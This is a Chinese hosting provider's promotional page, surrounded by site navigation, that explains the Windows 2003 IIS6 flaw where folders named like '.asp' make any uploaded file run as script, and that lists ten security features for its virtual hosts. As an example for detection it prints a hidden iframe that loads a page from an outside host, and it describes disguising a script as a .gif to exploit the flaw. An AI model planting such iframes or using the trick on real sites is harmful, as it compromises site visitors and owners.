• 购物车  0

    我的购物车

    共 0 件商品,共计 0
    去购物车结算
  • 最新公告 

    未读消息 :  忽略

    1.   一口价设置竞价米功能已上线 2025-12-04
    2.   新注期域名删除服务上线 2025-11-25
    3.   全新优先抢注服务,更高效锁定心仪域名! 2025-11-06
    4.   产品上新:新增“泰安信”品牌SSL证书,更具性价比! 2025-11-05

    查看全部

  • 充值预付款
  • 资讯中心
  • 帮助中心
  • 提交工单
  • 备案
  • 身份识别码:
  • 登录
  • 注册有礼
    • 新用户

    • 新人专享优惠

    • 立即创建西部数码账号,获取2660+元新用户礼包!

      2660+元新用户礼包

      创建账号
    • 域名优惠 1G云虚机 78元/年 云服务器 满3000省500
  • 消息中心()
  • 管理中心

    您好,

    账户级别:银牌代理  |  在线充值
    进入会员中心 退出
    业务管理
    域名管理 虚机管理 服务器管理 邮箱管理 最近到期
    域名服务
    push域名 域名转入 域名转出 模板过户 模板管理
    域名抢注
    我的预定 我的竞价 我的关注 竞价结束 我已得标
    我是卖家
    发布交易 正在出售 等待上架 最近卖出 款项提现
    我是买家
    已购一口价 我的关注 代购域名 域名估价
    财务管理
    在线充值 财务明细 发票索取 优惠券
    账号管理
    修改资料 密码修改 密保修改 账号认证 我的价格
    联系我们
    提交工单 查看回复 电话助手
  • 首页
  • 域名注册
    域名注册常见问题
    域名注册常见问题
    如何选择域名类型?
    如何购买域名(注册流程)?
    域名到期了如何续费?
    如何转入、转出、过户域名?
    .COM域名批量注册低至49元
    域名服务
    历史建站域名new 域名转入 外部域名入库
    whois查询 离线注册 智能DNS管理
    域名注册价格 域名使用指南 注册局安全锁
    5折转入活动 智能推荐域名 SSL证书new
    域名注册
    英文域名注册 一口价域名new
    批量查询 过期域名预订
    批量注册 近期促销
    域名管理
    我的域名
    独立控制面板
    获取域名证书
  • 域名抢注
    域名交易常见问题
    域名交易服务协议
    什么是代理出价?
    发布域名交易
    域名拍卖、交易、抢注问题
    西部数码询价交易流程及规则
    金卡会员 超多福利全新升级
    交易服务
    域名代购
    备案查询
    whois查询
    预订竞价
    域名抢注 竞价大厅
    热门预订 热门竞价
    NewG抢注 NewG抢注竞价
    我的竞价 我的关注
    淘域名
    一口价域名
    今天新增
    精选域名
    批量预订
    域名工具
    Whois查询
    备案查询
    被墙检测
    熊掌查询
  • 一口价
    一口价常见问题
    一口价交易规则
    发布一口价交易
    签约店铺专属权益
    签约店铺服务协议
    签约店铺享精品ID,先到先得,原价1188元  本月优惠价:88元
    我的一口价
    我的关注 发布交易
    我的已购 我的在售
    批量购买 我的已售
    签约店铺
    签约权益
    立即签约
    委托购买域名
    担保交易
    域名工具
    Whois查询
    备案查询
    被墙检测
    熊掌查询
    一口价交易
    一口价域名 精选一口价
    今天新增 今日降价
    推荐店铺 店铺排行榜
    我的收藏 收藏排行
  • 虚拟主机
    虚拟主机常见问题
    购买虚拟主机常见问题咨询
    如何选择合适的虚拟主机?
    虚拟主机购买流程
    选择多大的空间和流量合适?
    虚拟主机如何选择线路?
    邀请好友上云,赚25%现金返利!
    数据库产品
    MSSQL数据库
    Mysql数据库
    经济型主机
    基本型主机
    Linux主机
    超G型主机
    全能型主机
    BGP多线主机
    双线主机
    集群主机
    独享云虚拟主机
    独享基础型
    独享标准型
    独享高级型
    独享豪华型
    功能型主机
    ASP.NET主机
    Java主机
    双栈主机(IPv6)
    海外主机
    香港主机
    美国主机
  • 云服务器
    云服务器常见问题
    云服务器功能服务概览
    云服务器介绍
    如何选择合适的云主机
    如何购买云主机?
    常见问题操作指南
    上云数据迁移方案
    云服务器 满3000省500
    服务器租用
    服务器租用
    服务器托管
    定制服务器
    站群服务器
    存储备份&流量
    云快照
    云盘
    FSS对象存储
    共享流量包
    云服务器管理
    我的云服务器
    独立控制面板
    提交工单
    网速测试
    解决方案&工具
    网站管理助手
    负载均衡解决方案
    IPv6转换服务
    IPv6支持度检测
    Web应用上云
    网站接入查询
    云服务器购买
    弹性云服务器
    高防云服务器
    大带宽云服务器
    香港云服务器
    美国云主机
    云数据库MySQL
    云安全
    DDoS高防
    SSL证书
    CC攻击防护
    安全防护详解
  • 企业邮箱
    企业邮箱使用指南
    [新手必读]解析及客户端设置
    企业邮箱首次登录
    企业邮箱创建部门和用户
    使用outlook收发邮件
    使用Foxmail收发邮件
    企业邮箱
    企业邮箱
    企业邮箱介绍
    邮箱登录
    帮助中心
    EDM邮件营销
    产品介绍
    EDM登录
    帮助中心
    诚邀合作 (共赢财富)

    推出全新OEM分销体系

    具有杀伤力的价格,超大利润

  • 云建站·小程序
    其他了解
    云建站帮助中心
    云建站帮助文档
    小程序帮助文档
    云建站 买3年送2年,买5年送3年
    1v1专家服务
    小程序
    云建站
    微信小程序
    解决方案
    功能对比
    行业模板
    客户案例
    企业建站
    PC+手机站 模板展示
    PC站 功能配置
    手机站 建站案例
  • 商标·版权
    商标常见问题
    商标注册流程及常见问题
    商标变更业务须知
    商标更正业务须知
    商标续展业务须知
    商标宽展业务须知
    商标小程序上线
    商标管理
    我的商标
    服务费补拍
    提交工单
    商标查询
    模糊查询
    近似查询
    图形查询
    商标交易
    交易市场
    发布交易
    我的交易
    商标延伸服务
    商标争议服务
    商标信息变更
    其他服务
    商标注册
    自助注册
    顾问注册
    担保注册
    版权服务
    软件著作权
  • 安全
    SSL证书常见问题
    Https与Http有什么不同
    什么SSL证书?
    SSL证书的优势
    什么是DV、OV、EV证书
    SSL证书
    安全证书
    SSL证书申请
    国密证书申请
    SSL证书管理
    证书托管
    高防服务器
    高防云服务器
    安全服务
    等保测评服务
    等保合规方案
    网站安全认证
    渗透测试
    安全产品
    DDoS高防
    Web应用防火墙
    云堡垒机
  • 代理合作
    西部数码渠道 诚邀您合作
    怀真诚之心,以共赢为目标
    西部数码与您,共赢未来!
    加入西部数码 共赢千亿市场
    云合伙人计划
    代理模式
    平台介绍
    API接口
    代理级别
    合作必读
    代理合同
    如何申请
  • 【云合伙人】邀请好友首次上云,最高可获得25%现金返利!
  • 京东购物卡免费送!最高5000元!
  • 香港免备案主机全新升级!买2年送1年!
更多活动了解>>
  • 西部数码首页
  • 公司资质
关于我们
  • 公司介绍
  • 企业文化
  • 最新动态
  • 公司活动
  • 客户案例
  • 我司优势
  • 合作伙伴
  • 联系我们
  • 资质和荣誉
  • 参观公司
  • 媒体关注
因系统层出不穷的上传漏洞,注入漏洞,加之Win2003本身的设计缺陷,导致目前国内大多数的中小网站都存在或多或少的安全问题。加之很多网站管理员的安全水平有限,目前网页病毒木马非常猖獗。
西部数码利用其技术优势,推出10重安全保障的虚拟主机,让菜鸟也不再被木马困扰!

  安装了iis6的所有服务器,受影响的文件名后缀有.asp .asa .cdx .cer .php .pl .cgi等。
  网站的超级管理员权限被盗、网站内容被篡改、打开网页杀毒软件提示有病毒。

Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着文件解析路径的漏洞,当文件夹名为类似hack.asp的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的任何类型的文件(比如.gif,.jpg,.txt等)都可以在IIS中被当做ASP程序来执行。这样黑客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。因为微软尚未发布这个漏洞的补丁,所以几乎所有网站都会存在这个漏洞。并且,经我司技术人员测试,这个问题不限于asp,甚至php, CGI等都存在这种问题。 目前国内大部分的网站都是运行在IIS6下,如果这些网站中有任何一个文件夹的名字是以 .asp .php .cer .asa .cgi .pl 等结尾,那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给脚本解析器而执行,如果黑客将一个 hack.asp 文件改名为 hack.gif 上传到这些目录中,那么不堪设想...
第一重:Stream开关设置

  ASP中的ADODB.Stream 对象用来操作二进制或文本数据的流。通常用于无组件上传和验证码等功能。关闭该组件可以提高网站安全。

第二重:Fso开关设置

  FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,该控件可以对服务器进行读取、新建、修改、删除目录以及文件的操作。关闭该组件有利于提高网站安全。

第三重:Ftp权限设置

  如果你的网站建好后,今后一段时间都不会再用到ftp上传功能,您可以暂时关闭FTP上传。这有助于提高网站的安全,即使ftp密码泄露,黑客也不能操作你空间内的文件。同时系统支持设置拒绝所有IP,只允许某些IP登录。进一步提高安全性。

第四重:脚本权限设置

  您可以设置您的网站支持哪些网站脚本,如果您的网站只使用了asp,您可以设置为只开放asp权限。这样黑客即使上传了php的木马到您的空间也不能运行!最少的权限=最大的安全!

第五重:写入权限设置

  本系统支持全国领先的目录权限设置,允许关闭网站的写入权限,锁定虚拟主机。 对安全有重要意义,例如可以将access数据库放在databases目录,而将wwwroot目录的写入 权限关闭,令asp木马根本无法上传,这样比关闭FSO更安全。

第六重:IP 限制

  您可以明确拒绝或授权某些IP地址对您网站的访问。 对某些重要的子目录,如论坛的后台管理目录/admin/您可以设置为所有人拒绝访问,只允许您自己的ip访问.这样即使黑客知道了你论坛的超级管理密码,也无法对你的论坛进行管理和破坏!

第七重:文件保护

  您可以设置您要保护的文件,当文件被保护之后,该文件将无法从web访问。您可以使用该功能来保护您的重要文件的安全性,比如ACCESS数据库等。

第八重:目录保护

  通常用户网站被黑(如网页被篡改,文件被盗,被删等)都是因为黑客通过网站的文件上传功能将asp/php木马上传到空间并运行造成的。   所以在无法确认系统是否存在上传漏洞的情况下,只要保证文件上传目录没有脚本运行权限,那么即便黑客将木马上传到您的空间他也无法运行,这样就无法危及您的网站,使您网站更安全。

第九重:自动查杀病毒木马

  功能介绍:如果您的网站存在上传漏洞或注入漏洞,很容易被黑客上传木马,添加病毒代码。查看您的网页源代码,会发现病毒代码一般是: 
<iframe src=http://www.haogs.cn/m.htm width=0 height=0></iframe>等,而黑客通常会在您的网站里面留下后门程序,如海洋顶端asp木马,以便日后再次侵入您的网站。使用该功能,可以轻松将这些病毒木马一网打尽! ds

第十重:服务器端自动杀毒

  因传统杀毒软件不能有效地识别网页木马,特别是网页木马经常被加壳或制作为变种!所以我司自主开发了专门针对网页木马的杀毒软件,每天晚上自动扫描所有网站。发现木马的,对该文件自动更名;发现iframe病毒的,对病毒代码自动清除;并自动通过电子邮件通知你,让您轻松掌握您的网站情况
(业界独有)

相关报道
[网易] Windows 2003 Enterprise Edition IIS6 .ASP目录执行缺陷 发表于 2007-02-16
[计算机世界]虚机网站如何防止网页病毒和木马?(2007-08-10 )
[动易] 动易2006最新漏洞公告(2007-2-15)
[eNet硅谷动力]虚拟主机商力助中小网站严守安全之门 (2007-08-10 )
[积木网] Windows 2003 Enterprise Edition IIS6 .ASP目录执行缺陷
[动易网络] Windows 2003 Enterprise Edition IIS6 .ASP目录执行缺陷 2007-3-15
[IT站长网] Windows 2003 Enterprise Edition IIS6 .ASP目录执行缺陷 2007-3-3
[互联网实验室]中小网站如何防止网页病毒和木马 (2007-08-10 )
[360安全论坛] Windows 2003 Enterprise Edition IIS6 .ASP目录执行缺陷 2007-2-27
[csdn] Windows 2003 Enterprise Edition IIS6 .ASP目录执行缺陷
[迪赛网] 动网论坛上传文件漏洞的原理以及攻击的代码实现
[网络安全社区] 动网最新漏洞使用代码
关于我们
公司介绍
企业文化
资质和荣誉
最新动态
媒体关注
联系我们
产品与服务
域名优惠
域名注册
域名交易
虚拟主机
云服务器
海外云主机
常见问题
会员注册
域名相关
建站入门
云服务/Vps
支付/发票
网站备案
快速通道
手机站
whois查询
建站助手
网站备案
独立控制面板
客服热线
Customer hotline

028-6277****

抱歉,当前是午餐时间,请在13:00以后咨询。若有网站打不开、网络中断等紧急问题请致电028-62778877-7。
  • 西部数码微信公众号
  • 关注我们

    最新动态

  • 新浪微博

    交流互动

关于我们 | 联系我们 | 付款方式 | 人才招聘 | 友情链接 | 域名资讯 | 提交工单 | 我要评价 | 投诉建议 | 域名投诉 | 网站备案 | 百科知识 | 手机站

成都西泰米农网络技术服务有限公司版权所有 蜀ICP备2024079530号-1
《中华人民共和国互联网域名服务许可证》编号:川 D3-20220002

抱歉,当前是午餐时间,请在13:00以后咨询。若有网站打不开、网络中断等紧急问题请致电028-62778877-7。